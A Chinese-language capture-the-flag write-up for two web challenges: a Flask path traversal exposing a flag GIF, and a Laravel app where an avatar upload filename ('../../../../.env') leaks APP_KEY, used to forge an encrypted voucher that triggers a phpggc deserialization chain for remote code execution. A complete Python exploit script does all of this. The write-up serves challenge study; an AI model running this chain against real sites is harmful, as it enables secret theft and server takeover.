[+]bad-apple
首先看题目源码
from flask import Flask, render_template, request, redirect, url_for, send_from_directory, make_response, jsonifyimport osimport subprocessimport uuidfrom werkzeug.utils import secure_filename
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
app = Flask(__name__, template_folder=os.path.join(BASE_DIR, 'templates'), static_folder='/srv/http/static')
UPLOAD_FOLDER = '/srv/http/uploads'FRAMES_BASE = '/srv/http/static/frames'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)os.makedirs(FRAMES_BASE, exist_ok=True)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDERapp.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
@app.errorhandler(413)def request_entity_too_large(error): return jsonify({'success': False, 'error': 'File too large. Maximum size is 16MB.'}), 413
def get_user_id(): user_id = request.cookies.get('user_id') if not user_id: user_id = str(uuid.uuid4()) return user_id
def extract_frames(input_path, output_dir, gif_name): os.makedirs(output_dir, exist_ok=True)
width = 120
cmd = [ 'ffmpeg', '-i', input_path, '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen', '-y', f'{output_dir}/palette.png' ] subprocess.run(cmd, capture_output=True)
cmd = [ 'ffmpeg', '-i', input_path, '-i', f'{output_dir}/palette.png', '-lavfi', f'fps=10,scale={width}:-1:flags=lanczos[x];[x][1:v]paletteuse', '-y', f'{output_dir}/output.gif' ] subprocess.run(cmd, capture_output=True)
frame_count = 0 cmd = [ 'ffmpeg', '-i', f'{output_dir}/output.gif', f'{output_dir}/frame_%04d.png' ] subprocess.run(cmd, capture_output=True)
for f in os.listdir(output_dir): if f.startswith('frame_') and f.endswith('.png'): frame_count += 1
return frame_count
@app.route('/')def index(): user_id = get_user_id()
view_gif = request.args.get('view') view_user_id = request.args.get('view_user_id', user_id) view_frames = []
if view_gif: view_frames_dir = os.path.join(FRAMES_BASE, view_user_id, view_gif) if os.path.exists(view_frames_dir): view_frames = sorted([f for f in os.listdir(view_frames_dir) if f.startswith('frame_') and f.endswith('.png')])
default_frames_dir = os.path.join(FRAMES_BASE, 'shared', 'bad-apple') default_frames = [] if os.path.exists(default_frames_dir): default_frames = sorted([f for f in os.listdir(default_frames_dir) if f.startswith('frame_') and f.endswith('.png')])
user_frames_dir = os.path.join(FRAMES_BASE, user_id) gifs = [] if os.path.exists(user_frames_dir): for gif_name in os.listdir(user_frames_dir): gif_path = os.path.join(user_frames_dir, gif_name) if os.path.isdir(gif_path): frames = [f for f in os.listdir(gif_path) if f.startswith('frame_') and f.endswith('.png')] gifs.append({'name': gif_name, 'frame_count': len(frames)})
response = make_response(render_template('index.html', user_id=user_id, default_gif='bad-apple', default_frames=default_frames, gifs=gifs, view_gif=view_gif, view_user_id=view_user_id, view_frames=view_frames)) response.set_cookie('user_id', user_id) return response
@app.route('/upload', methods=['POST'])def upload(): if 'file' not in request.files: return jsonify({'success': False, 'error': 'No file uploaded'}), 400
file = request.files['file'] if file.filename == '': return jsonify({'success': False, 'error': 'No file selected'}), 400
if file: filename = secure_filename(file.filename) user_id = request.cookies.get('user_id') if not user_id: user_id = str(uuid.uuid4())
user_dir = os.path.join(app.config['UPLOAD_FOLDER'], user_id) os.makedirs(user_dir, exist_ok=True)
filepath = os.path.join(user_dir, filename) file.save(filepath)
safe_name = os.path.splitext(os.path.basename(filename))[0] output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
if os.path.exists(output_dir) and os.listdir(output_dir): return jsonify({'success': False, 'error': 'GIF with this name already exists'}), 400
os.makedirs(output_dir, exist_ok=True)
try: extract_frames(filepath, output_dir, safe_name) response = make_response(jsonify({'success': True, 'user_id': user_id, 'gif_name': safe_name})) response.set_cookie('user_id', user_id) return response except Exception as e: return jsonify({'success': False, 'error': str(e)}), 500
@app.route('/convert')def convert(): user_id = request.args.get('user_id', 'anonymous') filename = request.args.get('filename', '')
input_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(user_id), filename) if not os.path.exists(input_path): return "File not found", 404
safe_name = os.path.splitext(os.path.basename(filename))[0] output_dir = os.path.join(FRAMES_BASE, user_id, safe_name) os.makedirs(output_dir, exist_ok=True)
try: frame_count = extract_frames(input_path, output_dir, safe_name) return redirect(url_for('index', view=safe_name, user_id=user_id)) except Exception as e: return f"Error processing file: {str(e)}", 500
@app.route('/get_frames')def get_frames(): user_id = request.args.get('user_id', 'anonymous') gif_name = request.args.get('gif_name', '')
frames_dir = os.path.join(FRAMES_BASE, user_id, gif_name)
if not os.path.exists(frames_dir): return jsonify({'error': 'GIF not found'}), 404
frames = sorted([f for f in os.listdir(frames_dir) if f.startswith('frame_') and f.endswith('.png')])
return jsonify(frames)
application = app先看三个路由有无可以利用的漏洞点。
在 / 路由下,可以发现有个render_template函数,但是他的参数不可控,一直都是index.html,所以这里无法进行ssti,除非可以用同名但包含其他内容的index.html进行覆盖;还有通过url获取参数 view 和 view_user_id ,在通过这句 view_frames_dir = os.path.join(FRAMES_BASE, view_user_id, view_gif)将主页的动态帧路径变为flag路径,然后点击网页中的play便可查看flag。
再看/upload,这里面有个 werkzeug.utils 库的 secure_filename 函数,是防止攻击者通过文件名来路径遍历的一个函数。再后面的话就是extract_frames(filepath, output_dir, safe_name)这句,作用是将一个.gif文件拆成一帧帧的.png文件,其中的filepath是通过 os.path.join(user_dir, filename) 这句拼接出来的,user_dir 是通过 os.path.join(app.config[‘UPLOAD_FOLDER’], user_id) 拼接出来的,故filepath就是**/srv/http/uploads/<user_id>/
最后看/convert路由,通过get请求获取参数user_id与filename,从 /srv/http/uploads/<user_id>/
接下来看题目的一个附件:httpd-append.conf
<VirtualHost *:80> WSGIScriptAlias / /srv/app/wsgi_app.py
<Directory /srv/app> Require all granted </Directory>
Alias /browse /srv/http/uploads <Directory /srv/http/uploads> Options +Indexes DirectoryIndex disabled IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden AllowOverride None Require all granted
<FilesMatch "\.gif$"> AuthType Basic AuthName "Admin Area" AuthUserFile /srv/http/.htpasswd Require valid-user </FilesMatch> </Directory></VirtualHost>这个附件就是该服务器的部分apache配置信息。其中一句Alias /browse /srv/http/uploads意味着网页中/browse路由对应着服务器的/srv/http/uploads路由,进入/browse可以发现还有个admin路由,进去发现*flag.gif的文件。
现在整个攻击链路就已经搞清楚了,就是先通过/browse找到flag对应的gif文件,然后通过/convert路由传参将网页主页的帧动画转变为flag,最后通过/路由传参
?view=e017b6321bda6812ec80e9fac368709e-flag&view_user_id=admin
点击play按钮,即可获取flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[+]vault
这道题在注册和登录后,进入仪表盘,然后有四个路径可以走

但是我在四个界面中都看了看,并没有发现什么突破口。那就直接来看源码。
经历了一番检索之后,发现account等四个路径中,只有Vouchers这个路径有突破口,现在我贴出VouchersController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;use Illuminate\Routing\Controller;use Illuminate\Support\Facades\Auth;use Illuminate\Contracts\Encryption\DecryptException;use Carbon\Carbon;
class VouchersController extends Controller{ public function index(Request $request) { return view('vouchers', ['user' => Auth::user()]); }
public function create(Request $request) { $data = $request->validate([ 'amount' => 'required|integer|min:1' ]);
/** @var \App\Models\User $user */ $user = Auth::user(); $amount = (int) $data['amount'];
if ($user->balance < $amount) { return back()->withErrors([ 'amount' => 'Amount is greater than funds available.' ]); }
$user->balance -= $amount; $user->save();
$voucher = encrypt([ 'amount' => $amount, 'created_by' => $user->uuid, 'created_at' => Carbon::now() ]);
return back()->with('voucher', $voucher); }
public function redeem(Request $request) { $data = $request->validate([ 'voucher' => 'required|string' ]);
try { $voucher = decrypt($data['voucher']); } catch (DecryptException $e) { return back()->withErrors([ 'voucher' => 'Invalid voucher.' ]); }
/** @var \App\Models\User $user */ $user = Auth::user(); $user->balance += $voucher['amount']; $user->save();
return redirect()->back(); }}其中突破点就在line52-54中的 $voucher = decrypt($data[‘voucher’]); 是一段对voucher解密的代码,那么我们就去看看这个decrypt是怎么个事儿。我去翻了下Laravel的开发文档,可以看到laravel框架中的decrypt函数,在laravel框架的src//Illuminate/Encryption/Encrypter.php中可见
public function decrypt($payload, $unserialize = true) { $payload = $this->getJsonPayload($payload);
$iv = base64_decode($payload['iv']);
$this->ensureTagIsValid( $tag = empty($payload['tag']) ? null : base64_decode($payload['tag']) );
// Here we will decrypt the value. If we are able to successfully decrypt it // we will then unserialize it and return it out to the caller. If we are // unable to decrypt this value we will throw out an exception message. $decrypted = \openssl_decrypt( $payload['value'], strtolower($this->cipher), $this->key, 0, $iv, $tag ?? '' );
if ($decrypted === false) { throw new DecryptException('Could not decrypt the data.'); }
return $unserialize ? unserialize($decrypted) : $decrypted; }可见decrypt函数中有两个参数,而此题源码中的$voucher = decrypt($data[‘voucher’]);只传了一个参数,第二个参数$unserialize的值默认为true,所以就会触发laravel框架内部的反序列化。
发现这个漏洞点后,便可以尝试通过篡改voucher的值来对网站进行一个攻击。在
$decrypted = \openssl_decrypt($payload[‘value’], strtolower($this->cipher), $this->key, 0, $iv, $tag ?? ”);
这句可见payload是通过一个key来解密的,所以前提是得获取APP_KEY,然后再通过这个key对payload进行加密。
在src\config\app.php中的’key’ => env(‘APP_KEY’)可知,app_key在环境变量中。而laravel官方文档明确写道.env文件在应用根目录中。现在要找到一个可以路径遍历的利用点。
在AccountController.php中,有个上传avatar的接口,我先把这个源码贴出来
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;use Illuminate\Routing\Controller;use Illuminate\Support\Facades\Auth;use Illuminate\Support\Facades\Storage;use App\Models\User;
class AccountController extends Controller{ public function index(Request $request) { return view('account', ['user' => Auth::user()]); }
public function update(Request $request) { /** @var \App\Models\User $user */ $user = Auth::user();
$credentials = $request->validate([ 'username' => 'required|string', 'password' => 'nullable|string', 'password2' => 'nullable|string' ]);
if ($credentials['password'] !== $credentials['password2']) { return back()->withErrors(([ 'password' => 'Passwords do not match.' ])); }
if ($credentials['username'] !== $user->username) { $existingUser = User::where('username', $credentials['username'])->first(); if ($existingUser) { return back()->withErrors([ 'username' => 'Username is taken.' ]); }
$user->username = $credentials['username']; }
if ($credentials['password']) $user->password = $credentials['password'];
$user->save();
return redirect()->refresh(); }
public function updateAvatar(Request $request) { $request->validate([ 'avatar' => 'required|image|max:2048' ]);
/** @var \App\Models\User $user */ $user = Auth::user();
if ($user->avatar) { $previousPath = Storage::disk('public')->path($user->avatar); if (file_exists($previousPath)) unlink($previousPath); }
$name = $_FILES['avatar']['full_path']; $path = "/var/www/storage/app/public/avatars/$name"; $request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path; $user->save();
return redirect()->back(); }
public function getAvatar(Request $request) { $path = Auth::user()->avatar;
if (!$path) return response()->json(['error' => 'No avatar set.']);
return response()->file($path); }}可见在updateAvatar函数中可能可以实现路径遍历。在web.php中可见其对应上传头像的路由
Route::post(‘/account/avatar’, [AccountController::class, ‘updateAvatar’]);
$name = $_FILES['avatar']['full_path'];$path = "/var/www/storage/app/public/avatars/$name";$request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path;$user->save();看这段源码可知,程序会将上传文件名赋值给$name,随后拼接出
$path = “/var/www/storage/app/public/avatars/$name”;。
因此,我们可以在文件上传时将文件名构造为 ../../../../.env,使拼接后的 $path 中包含路径遍历内容。随后,程序又通过 path; 将该路径保存下来,且其中的遍历内容并未被清除。这样一来,当访问 /avatar 时,后端便会按照该路径读取文件,最终即可读到 .env 内容,从而获取 APP_KEY。
到此便有一条清晰的攻击链路出来了。
在/account/avatar上传一个合法PNG文件,通过文件名使/avatar指向.env内容->在/avatar中读取app_key->通过app_key对voucher内容进行伪造,使其通过decrypt函数的校验,触发反序列化链->RCE
以下是PoC:
import argparseimport base64import hashlibimport hmacimport jsonimport osimport randomimport reimport stringimport subprocessimport sysimport urllib3
import requestsfrom Crypto.Cipher import AES
# 关闭 HTTPS 证书告警urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def extract_csrf(html: str) -> str: # 从页面中提取 CSRF token m = re.search(r'name="_token"\s+value="([^"]+)"', html) if m: return m.group(1) m = re.search(r'meta name="csrf-token" content="([^"]+)"', html) if m: return m.group(1) raise RuntimeError("CSRF token not found")
def tiny_png() -> bytes: # 构造一个最小合法 PNG 文件 return ( b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01" b"\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc``\x00\x00" b"\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82" )
def laravel_encrypt_raw(serialized: str, key_bytes: bytes) -> str: # 按 Laravel 的格式加密字符串 iv = os.urandom(16) pt = serialized.encode()
# PKCS#7 填充 pad = 16 - (len(pt) % 16) pt += bytes([pad]) * pad
# AES-CBC 加密 ct = AES.new(key_bytes, AES.MODE_CBC, iv).encrypt(pt)
iv_b64 = base64.b64encode(iv).decode() val_b64 = base64.b64encode(ct).decode()
# 计算 MAC,伪造成合法 Laravel 密文 mac = hmac.new(key_bytes, (iv_b64 + val_b64).encode(), hashlib.sha256).hexdigest() payload = json.dumps( {"iv": iv_b64, "value": val_b64, "mac": mac, "tag": ""}, separators=(",", ":"), ) return base64.b64encode(payload.encode()).decode()
def run_phpggc(phpggc: str, chain: str, cmd: str) -> str: # 调用 phpggc 生成恶意序列化对象 attempts = [ ["php", phpggc, chain, "system", cmd], ["php", phpggc, chain, cmd], ["php", phpggc, "-f", chain, "system", cmd], ["php", phpggc, "-f", chain, cmd], ] for a in attempts: p = subprocess.run(a, capture_output=True, text=True) if p.returncode == 0 and p.stdout.strip(): return p.stdout.strip() raise RuntimeError(f"phpggc failed for {chain}")
def main(): parser = argparse.ArgumentParser(description="TAMUctf vault exploit") parser.add_argument( "--url", default="https://589b74a1-e8da-4294-838f-79453cf65191.tamuctf.com", help="target base url", ) parser.add_argument( "--phpggc", default="phpggc/phpggc", help="path to phpggc entry script", ) args = parser.parse_args()
base = args.url.rstrip("/")
# 使用 Session 自动保存登录态 cookie s = requests.Session() s.verify = False
# 随机注册一个账号 username = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8)) password = "Pass123456!"
# Register r = s.get(base + "/register", timeout=15) csrf = extract_csrf(r.text) s.post( base + "/register", data={"_token": csrf, "username": username, "password": password, "password2": password}, timeout=15, )
# Login r = s.get(base + "/login", timeout=15) csrf = extract_csrf(r.text) s.post( base + "/login", data={"_token": csrf, "username": username, "password": password}, timeout=15, )
# 利用头像上传点读取 .env r = s.get(base + "/account", timeout=15) csrf = extract_csrf(r.text) s.post( base + "/account/avatar", data={"_token": csrf}, files={"avatar": ("../../../../.env", tiny_png(), "image/png")}, timeout=15, )
# 通过 /avatar 读取 .env 内容并提取 APP_KEY env_text = s.get(base + "/avatar", timeout=15).text m = re.search(r"^APP_KEY=(.+)$", env_text, flags=re.M) if not m: print("[-] APP_KEY not found from /avatar") sys.exit(1)
app_key = m.group(1).strip() key = base64.b64decode(app_key.split(":", 1)[1]) print(f"[+] APP_KEY: {app_key}")
# 用 phpggc 生成 Laravel/RCE22 链,再按 Laravel 格式加密 cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'" serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd) voucher = laravel_encrypt_raw(serialized, key)
# 提交 voucher 触发反序列化链 r = s.get(base + "/vouchers", timeout=15) csrf = extract_csrf(r.text) rr = s.post( base + "/vouchers/redeem", data={"_token": csrf, "voucher": voucher}, timeout=15, ) print(f"[+] redeem status: {rr.status_code}")
# 读取命令执行后写出的文件 fr = s.get(base + "/pwn.txt", timeout=15) print(f"[+] /pwn.txt status: {fr.status_code}") print(fr.text.strip())
# 提取 flag flag = re.search(r"gigem\{[^}]+\}", fr.text, flags=re.I) if flag: print(f"[FLAG] {flag.group(0)}") else: print("[-] flag regex not found")
if __name__ == "__main__": main()部分信息可能已经过时









